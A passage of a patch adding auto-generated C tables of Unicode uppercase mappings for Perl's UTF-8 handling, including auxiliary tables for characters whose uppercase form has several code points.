+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	UC_0 = 0,
+	UC_use_AUX_TABLE_1 = -1,
+	UC_use_AUX_TABLE_2 = -2,
+	UC_use_AUX_TABLE_3 = -3,
+	UC_use_AUX_TABLE_4 = -4,
+	UC_use_AUX_TABLE_5 = -5,
+	UC_use_AUX_TABLE_6 = -6,
+	UC_use_AUX_TABLE_7 = -7,
+	UC_use_AUX_TABLE_8 = -8,
+	UC_use_AUX_TABLE_9 = -9,
+	UC_use_AUX_TABLE_10 = -10,
+	UC_use_AUX_TABLE_11 = -11,
+	UC_use_AUX_TABLE_12 = -12,
+	UC_use_AUX_TABLE_13 = -13,
+	UC_use_AUX_TABLE_14 = -14,
+	UC_use_AUX_TABLE_15 = -15,
+	UC_use_AUX_TABLE_16 = -16,
+	UC_use_AUX_TABLE_17 = -17,
+	UC_use_AUX_TABLE_18 = -18,
+	UC_use_AUX_TABLE_19 = -19,
+	UC_use_AUX_TABLE_20 = -20,
+	UC_use_AUX_TABLE_21 = -21,
+	UC_use_AUX_TABLE_22 = -22,
+	UC_use_AUX_TABLE_23 = -23,
+	UC_use_AUX_TABLE_24 = -24,
+	UC_use_AUX_TABLE_25 = -25,
+	UC_use_AUX_TABLE_26 = -26,
+	UC_use_AUX_TABLE_27 = -27,
+	UC_use_AUX_TABLE_28 = -28,
+	UC_use_AUX_TABLE_29 = -29,
+	UC_use_AUX_TABLE_30 = -30,
+	UC_use_AUX_TABLE_31 = -31,
+	UC_use_AUX_TABLE_32 = -32,
+	UC_use_AUX_TABLE_33 = -33,
+	UC_use_AUX_TABLE_34 = -34,
+	UC_use_AUX_TABLE_35 = -35,
+	UC_use_AUX_TABLE_36 = -36,
+	UC_use_AUX_TABLE_37 = -37,
+	UC_use_AUX_TABLE_38 = -38,
+	UC_use_AUX_TABLE_39 = -39,
+	UC_use_AUX_TABLE_40 = -40,
+	UC_use_AUX_TABLE_41 = -41,
+	UC_use_AUX_TABLE_42 = -42,
+	UC_use_AUX_TABLE_43 = -43,
+	UC_use_AUX_TABLE_44 = -44,
+	UC_use_AUX_TABLE_45 = -45,
+	UC_use_AUX_TABLE_46 = -46,
+	UC_use_AUX_TABLE_47 = -47,
+	UC_use_AUX_TABLE_48 = -48,
+	UC_use_AUX_TABLE_49 = -49,
+	UC_use_AUX_TABLE_50 = -50,
+	UC_use_AUX_TABLE_51 = -51,
+	UC_use_AUX_TABLE_52 = -52,
+	UC_use_AUX_TABLE_53 = -53,
+	UC_use_AUX_TABLE_54 = -54,
+	UC_use_AUX_TABLE_55 = -55,
+	UC_use_AUX_TABLE_56 = -56,
+	UC_use_AUX_TABLE_57 = -57,
+	UC_use_AUX_TABLE_58 = -58,
+	UC_use_AUX_TABLE_59 = -59,
+	UC_use_AUX_TABLE_60 = -60,
+	UC_use_AUX_TABLE_61 = -61,
+	UC_use_AUX_TABLE_62 = -62,
+	UC_use_AUX_TABLE_63 = -63,
+	UC_use_AUX_TABLE_64 = -64,
+	UC_use_AUX_TABLE_65 = -65,
+	UC_use_AUX_TABLE_66 = -66,
+	UC_use_AUX_TABLE_67 = -67,
+	UC_use_AUX_TABLE_68 = -68,
+	UC_use_AUX_TABLE_69 = -69,
+	UC_use_AUX_TABLE_70 = -70,
+	UC_use_AUX_TABLE_71 = -71,
+	UC_use_AUX_TABLE_72 = -72
+} UC_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_UC_AUX_TABLES
+
+static const unsigned int UC_AUX_TABLE_1[] = {
+	0x53,
+	0x53
+};
+
+static const unsigned int UC_AUX_TABLE_2[] = {
+	0x2BC,
+	0x4E
+};
+
+static const unsigned int UC_AUX_TABLE_3[] = {
+	0x4A,
+	0x30C
+};
+
+static const unsigned int UC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_6[] = {
+	0x535,
+	0x552
+};
+
+static const unsigned int UC_AUX_TABLE_7[] = {
+	0x48,
+	0x331
+};
+
+static const unsigned int UC_AUX_TABLE_8[] = {
+	0x54,
+	0x308
+};
+
+static const unsigned int UC_AUX_TABLE_9[] = {
+	0x57,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_10[] = {
+	0x59,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_11[] = {
+	0x41,
+	0x2BE
+};
+
+static const unsigned int UC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_16[] = {
+	0x1F08,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_17[] = {
+	0x1F09,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_18[] = {
+	0x1F0A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_19[] = {
+	0x1F0B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_20[] = {
+	0x1F0C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_21[] = {
+	0x1F0D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_22[] = {
+	0x1F0E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_23[] = {
+	0x1F0F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_24[] = {
+	0x1F28,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_25[] = {
+	0x1F29,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_26[] = {
+	0x1F2A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_27[] = {
+	0x1F2B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_28[] = {
+	0x1F2C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_29[] = {
+	0x1F2D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_30[] = {
+	0x1F2E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_31[] = {
+	0x1F2F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_32[] = {
+	0x1F68,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_33[] = {
+	0x1F69,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_34[] = {
+	0x1F6A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_35[] = {
+	0x1F6B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_36[] = {
+	0x1F6C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_37[] = {
+	0x1F6D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_38[] = {
+	0x1F6E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_39[] = {
+	0x1F6F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_40[] = {
+	0x1FBA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_41[] = {
+	0x391,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_42[] = {
+	0x386,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_43[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_44[] = {
+	0x391,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_45[] = {
+	0x1FCA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_46[] = {
+	0x397,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_47[] = {
+	0x389,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_48[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_49[] = {
+	0x397,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_50[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_51[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_52[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_53[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_54[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_55[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_56[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_57[] = {
+	0x1FFA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_58[] = {
+	0x3A9,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_59[] = {
+	0x38F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_60[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_61[] = {
+	0x3A9,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_62[] = {
+	0x46,
+	0x46
+};
+
+static const unsigned int UC_AUX_TABLE_63[] = {
+	0x46,
+	0x49
+};
+
+static const unsigned int UC_AUX_TABLE_64[] = {
+	0x46,
+	0x4C
+};
+
+static const unsigned int UC_AUX_TABLE_65[] = {
+	0x46,
+	0x46,
+	0x49
+};
+
+static const unsigned int UC_AUX_TABLE_66[] = {
+	0x46,
+	0x46,
+	0x4C
+};
+
+static const unsigned int UC_AUX_TABLE_67[] = {
+	0x53,
+	0x54
+};
+
+static const unsigned int UC_AUX_TABLE_68[] = {
+	0x544,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_69[] = {
+	0x544,
+	0x535
+};
+
+static const unsigned int UC_AUX_TABLE_70[] = {
+	0x544,
+	0x53B
+};
+
+static const unsigned int UC_AUX_TABLE_71[] = {
+	0x54E,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_72[] = {
+	0x544,
+	0x53D
+};
+
+static const unsigned int * const UC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	UC_AUX_TABLE_1,
+	UC_AUX_TABLE_2,
+	UC_AUX_TABLE_3,
+	UC_AUX_TABLE_4,
+	UC_AUX_TABLE_5,
+	UC_AUX_TABLE_6,
+	UC_AUX_TABLE_7,
+	UC_AUX_TABLE_8,
+	UC_AUX_TABLE_9,
+	UC_AUX_TABLE_10,
+	UC_AUX_TABLE_11,
+	UC_AUX_TABLE_12,
+	UC_AUX_TABLE_13,
+	UC_AUX_TABLE_14,
+	UC_AUX_TABLE_15,
+	UC_AUX_TABLE_16,
+	UC_AUX_TABLE_17,
+	UC_AUX_TABLE_18,
+	UC_AUX_TABLE_19,
+	UC_AUX_TABLE_20,
+	UC_AUX_TABLE_21,
+	UC_AUX_TABLE_22,
+	UC_AUX_TABLE_23,
+	UC_AUX_TABLE_24,
+	UC_AUX_TABLE_25,
+	UC_AUX_TABLE_26,
+	UC_AUX_TABLE_27,
+	UC_AUX_TABLE_28,
+	UC_AUX_TABLE_29,
+	UC_AUX_TABLE_30,
+	UC_AUX_TABLE_31,
+	UC_AUX_TABLE_32,
+	UC_AUX_TABLE_33,
+	UC_AUX_TABLE_34,
+	UC_AUX_TABLE_35,
+	UC_AUX_TABLE_36,
+	UC_AUX_TABLE_37,
+	UC_AUX_TABLE_38,
+	UC_AUX_TABLE_39,
+	UC_AUX_TABLE_40,
+	UC_AUX_TABLE_41,
+	UC_AUX_TABLE_42,
+	UC_AUX_TABLE_43,
+	UC_AUX_TABLE_44,
+	UC_AUX_TABLE_45,
+	UC_AUX_TABLE_46,
+	UC_AUX_TABLE_47,
+	UC_AUX_TABLE_48,
+	UC_AUX_TABLE_49,
+	UC_AUX_TABLE_50,
+	UC_AUX_TABLE_51,
+	UC_AUX_TABLE_52,
+	UC_AUX_TABLE_53,
+	UC_AUX_TABLE_54,
+	UC_AUX_TABLE_55,
+	UC_AUX_TABLE_56,
+	UC_AUX_TABLE_57,
+	UC_AUX_TABLE_58,
+	UC_AUX_TABLE_59,
+	UC_AUX_TABLE_60,
+	UC_AUX_TABLE_61,
+	UC_AUX_TABLE_62,
+	UC_AUX_TABLE_63,
+	UC_AUX_TABLE_64,
+	UC_AUX_TABLE_65,
+	UC_AUX_TABLE_66,
+	UC_AUX_TABLE_67,
+	UC_AUX_TABLE_68,
+	UC_AUX_TABLE_69,
+	UC_AUX_TABLE_70,
+	UC_AUX_TABLE_71,
+	UC_AUX_TABLE_72
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 UC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* UC_AUX_TABLE_1 */,
+	2	/* UC_AUX_TABLE_2 */,
+	2	/* UC_AUX_TABLE_3 */,
+	3	/* UC_AUX_TABLE_4 */,
+	3	/* UC_AUX_TABLE_5 */,
+	2	/* UC_AUX_TABLE_6 */,
+	2	/* UC_AUX_TABLE_7 */,
+	2	/* UC_AUX_TABLE_8 */,
+	2	/* UC_AUX_TABLE_9 */,
+	2	/* UC_AUX_TABLE_10 */,
+	2	/* UC_AUX_TABLE_11 */,
+	2	/* UC_AUX_TABLE_12 */,
+	3	/* UC_AUX_TABLE_13 */,
+	3	/* UC_AUX_TABLE_14 */,
+	3	/* UC_AUX_TABLE_15 */,
+	2	/* UC_AUX_TABLE_16 */,
+	2	/* UC_AUX_TABLE_17 */,
+	2	/* UC_AUX_TABLE_18 */,
+	2	/* UC_AUX_TABLE_19 */,
+	2	/* UC_AUX_TABLE_20 */,
+	2	/* UC_AUX_TABLE_21 */,
+	2	/* UC_AUX_TABLE_22 */,
+	2	/* UC_AUX_TABLE_23 */,
+	2	/* UC_AUX_TABLE_24 */,
+	2	/* UC_AUX_TABLE_25 */,
+	2	/* UC_AUX_TABLE_26 */,
+	2	/* UC_AUX_TABLE_27 */,
+	2	/* UC_AUX_TABLE_28 */,
+	2	/* UC_AUX_TABLE_29 */,
+	2	/* UC_AUX_TABLE_30 */,
+	2	/* UC_AUX_TABLE_31 */,
+	2	/* UC_AUX_TABLE_32 */,
+	2	/* UC_AUX_TABLE_33 */,
+	2	/* UC_AUX_TABLE_34 */,
+	2	/* UC_AUX_TABLE_35 */,
+	2	/* UC_AUX_TABLE_36 */,
+	2	/* UC_AUX_TABLE_37 */,
+	2	/* UC_AUX_TABLE_38 */,
+	2	/* UC_AUX_TABLE_39 */,
+	2	/* UC_AUX_TABLE_40 */,
+	2	/* UC_AUX_TABLE_41 */,
+	2	/* UC_AUX_TABLE_42 */,
+	2	/* UC_AUX_TABLE_43 */,
+	3	/* UC_AUX_TABLE_44 */,
+	2	/* UC_AUX_TABLE_45 */,
+	2	/* UC_AUX_TABLE_46 */,
+	2	/* UC_AUX_TABLE_47 */,
+	2	/* UC_AUX_TABLE_48 */,
+	3	/* UC_AUX_TABLE_49 */,
+	3	/* UC_AUX_TABLE_50 */,
+	2	/* UC_AUX_TABLE_51 */,
+	3	/* UC_AUX_TABLE_52 */,
+	3	/* UC_AUX_TABLE_53 */,
+	2	/* UC_AUX_TABLE_54 */,
+	2	/* UC_AUX_TABLE_55 */,
+	3	/* UC_AUX_TABLE_56 */,
+	2	/* UC_AUX_TABLE_57 */,
+	2	/* UC_AUX_TABLE_58 */,
+	2	/* UC_AUX_TABLE_59 */,
+	2	/* UC_AUX_TABLE_60 */,
+	3	/* UC_AUX_TABLE_61 */,
+	2	/* UC_AUX_TABLE_62 */,
+	2	/* UC_AUX_TABLE_63 */,
+	2	/* UC_AUX_TABLE_64 */,
+	3	/* UC_AUX_TABLE_65 */,
+	3	/* UC_AUX_TABLE_66 */,
+	2	/* UC_AUX_TABLE_67 */,
+	2	/* UC_AUX_TABLE_68 */,
+	2	/* UC_AUX_TABLE_69 */,
+	2	/* UC_AUX_TABLE_70 */,
+	2	/* UC_AUX_TABLE_71 */,
+	2	/* UC_AUX_TABLE_72 */
+};
+
+static const int Uppercase_Mapping_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x41,
+	0,
+	0x39C,
+	0,
+	UC_use_AUX_TABLE_1,
+	0xC0,
+	0,
+	0xD8,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0x49,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	UC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0x53,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C4,
+	0x1C4,
+	0,
+	0x1C7,
+	0x1C7,
+	0,
+	0x1CA,
+	0x1CA,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	UC_use_AUX_TABLE_3,
+	0,
+	0x1F1,
+	0x1F1,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	UC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	UC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	UC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
